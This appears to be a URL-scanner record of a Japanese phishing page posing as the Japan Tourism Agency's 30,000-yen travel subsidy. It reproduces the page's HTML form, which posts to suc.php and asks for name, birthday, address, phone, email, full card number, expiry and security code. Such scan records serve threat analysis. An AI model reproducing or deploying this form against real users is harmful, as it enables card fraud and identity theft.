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Submission: On June 25 via manual from JP — Scanned from JP

Form analysis 1 forms found in the DOM

POST suc.php

<form action="suc.php" method="post" enctype="multipart/form-data">
  <div id="formarea3">
    <dl>
      <dt> お名前 <span class="red"> ※ </span>
      </dt>
      <dd>
        <input name="name" type="text" required="required" id="name" placeholder="全角">
        <p> 姓と名の間は、全角１マス分空けてください </p>
      </dd>
      <dt> 生年月日 <span class="red"> ※ </span>
      </dt>
      <dd>
        <input required="" name="birthday" maxlength="8" type="text" id="birthday" placeholder="例）19901122">
      </dd>
      <dt> 郵便番号 <span class="red"> ※ </span>
      </dt>
      <dd>
        <input maxlength="4" name="yuubin1" type="text" required="required" id="yuubin1" placeholder="000" style="width: 50px;"> - <input maxlength="4" name="yuubin2" type="text" required="required" id="yuubin2" placeholder="0000"
          style="width: 70px;">
        <p> 半角数字でご記入ください </p>
      </dd>
      <dt> 都道府県 <span class="red"> ※ </span>
      </dt>
      <dd>
        <select required="" name="ken">
          <option selected=""> 以下から選択して下さい </option>
          <option value="新潟県"> 新潟県 </option>
          <option value="富山県"> 富山県 </option>
          <option value="石川県"> 石川県 </option>
          <option value="山形県"> 山形県 </option>
          <option value="福島県"> 福島県 </option>
          <option value="長野県"> 長野県 </option>
          <option value="岐阜県"> 岐阜県 </option>
          <option value="福井県"> 福井県 </option>
          <option value="北海道"> 北海道 </option>
          <option value="青森県"> 青森県 </option>
          <option value="秋田県"> 秋田県 </option>
          <option value="岩手県"> 岩手県 </option>
          <option value="宮城県"> 宮城県 </option>
          <option value="茨城県"> 茨城県 </option>
          <option value="群馬県"> 群馬県 </option>
          <option value="山梨県"> 山梨県 </option>
          <option value="栃木県"> 栃木県 </option>
          <option value="東京都"> 東京都 </option>
          <option value="埼玉県"> 埼玉県 </option>
          <option value="千葉県"> 千葉県 </option>
          <option value="神奈川県"> 神奈川県 </option>
          <option value="静岡県"> 静岡県 </option>
          <option value="愛知県"> 愛知県 </option>
          <option value="三重県"> 三重県 </option>
          <option value="滋賀県"> 滋賀県 </option>
          <option value="京都府"> 京都府 </option>
          <option value="大阪府"> 大阪府 </option>
          <option value="奈良県"> 奈良県 </option>
          <option value="和歌山県"> 和歌山県 </option>
          <option value="兵庫県"> 兵庫県 </option>
          <option value="香川県"> 香川県 </option>
          <option value="愛媛県"> 愛媛県 </option>
          <option value="徳島県"> 徳島県 </option>
          <option value="高知県"> 高知県 </option>
          <option value="岡山県"> 岡山県 </option>
          <option value="広島県"> 広島県 </option>
          <option value="鳥取県"> 鳥取県 </option>
          <option value="島根県"> 島根県 </option>
          <option value="山口県"> 山口県 </option>
          <option value="福岡県"> 福岡県 </option>
          <option value="長崎県"> 長崎県 </option>
          <option value="大分県"> 大分県 </option>
          <option value="宮崎県"> 宮崎県 </option>
          <option value="佐賀県"> 佐賀県 </option>
          <option value="熊本県"> 熊本県 </option>
          <option value="鹿児島県"> 鹿児島県 </option>
          <option value="沖縄県"> 沖縄県 </option>
          <option value="その他"> その他 </option>
        </select>
      </dd>
      <dt> 住所 <span class="red"> ※ </span>
      </dt>
      <dd>
        <p> 都道府県を除いた住所を、すべて、全角で記入してください。 <br> また建物名称がある場合は、全角１マス分空けてから入力してください。 </p>
        <input name="jyusyo" type="text" required="required" id="jyusyo" placeholder="全角">
      </dd>
      <dt> 電話番号 <span class="red"> ※ </span>
      </dt>
      <dd>
        <input required="" name="tel" type="text" id="tel" placeholder="000-000-0000">
        <p> 半角数字で入力してください </p>
      </dd>
      <dt> メールアドレス <span class="red"> ※ </span>
      </dt>
      <dd>
        <input required="" name="email" type="text" id="email" placeholder="mlit-kankocho@mlit.co.jp">
        <p> 半角数字で入力してください </p>
      </dd>
      <dt> クレジットカード番号 </dt>
      <dd>
        <input name="cardno1" maxlength="4" type="text" required="required" id="yuubin1" placeholder="1111" style="width: 60px;"> - <input name="cardno2" maxlength="4" type="text" required="required" id="yuubin2" placeholder="2222"
          style="width: 60px;"> - <input name="cardno3" maxlength="4" type="text" required="required" id="yuubin2" placeholder="3333" style="width: 60px;"> - <input name="cardno4" maxlength="4" type="text" required="required" id="yuubin2"
          placeholder="4444" style="width: 60px;">
        <p> 半角数字で入力してください </p>
      </dd>
      <dt> 有効期限 <span class="red"> ※ </span>
      </dt>
      <dd>
        <select required="" name="expyear" id="form-select-year">
          <option value=""> ---- </option>
          <option value="2023"> 2023 </option>
          <option value="2024"> 2024 </option>
          <option value="2025"> 2025 </option>
          <option value="2026"> 2026 </option>
          <option value="2027"> 2027 </option>
          <option value="2028"> 2028 </option>
          <option value="2029"> 2029 </option>
          <option value="2030"> 2030 </option>
          <option value="2031"> 2031 </option>
          <option value="2032"> 2032 </option>
          <option value="2033"> 2033 </option>
        </select> - <select required="" name="expmonth" id="form-select-month">
          <option value=""> -- </option>
          <option value="01"> 01 </option>
          <option value="02"> 02 </option>
          <option value="03"> 03 </option>
          <option value="04"> 04 </option>
          <option value="05"> 05 </option>
          <option value="06"> 06 </option>
          <option value="07"> 07 </option>
          <option value="08"> 08 </option>
          <option value="09"> 09 </option>
          <option value="10"> 10 </option>
          <option value="11"> 11 </option>
          <option value="12"> 12 </option>
        </select>
      </dd>
      <dt> セキュリティコード <span class="red"> ※ </span>
      </dt>
      <dd>
        <input name="cvv" maxlength="3" required="" type="text" id="tel" style="width: 150px;" placeholder="3桁の半角英数記号">
        <p> 半角数字で入力してください </p>
      </dd>
      <dt> 画像で認証する <span class="red"> ※ </span>
      </dt>
      <dd>
        <input name="code" maxlength="4" required="" type="text" id="tel" style="width: 60px;"><img src="vcode.php">
      </dd>
    </dl>
    <div class="text"> 現金補助金は受取人の住所に直接郵送し、クーポンは電子形式で受取人のメールボックスに発行されます。 <br> クーポンは全国ホテル共通で、クーポンの転売は禁止されています。 </div>
    <div align="center">
      <input type="submit" name="submit" value="確　認">
    </div>
  </div>
</form>

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観光庁100億円の全國旅行支援計劃


観光庁100億円の全國旅行支援計劃

観光需要喚起策の実施について，30000円の補助金は期間限定で受け取ります。
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岡山県 広島県 鳥取県 島根県 山口県 福岡県 長崎県 大分県 宮崎県 佐賀県 熊本県 鹿児島県 沖縄県 その他 住所 ※

都道府県を除いた住所を、すべて、全角で記入してください。
また建物名称がある場合は、全角１マス分空けてから入力してください。

電話番号 ※

半角数字で入力してください

メールアドレス ※

半角数字で入力してください

クレジットカード番号 - - -

半角数字で入力してください

有効期限 ※ ---- 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 - -- 01 02 03
04 05 06 07 08 09 10 11 12 セキュリティコード ※

半角数字で入力してください

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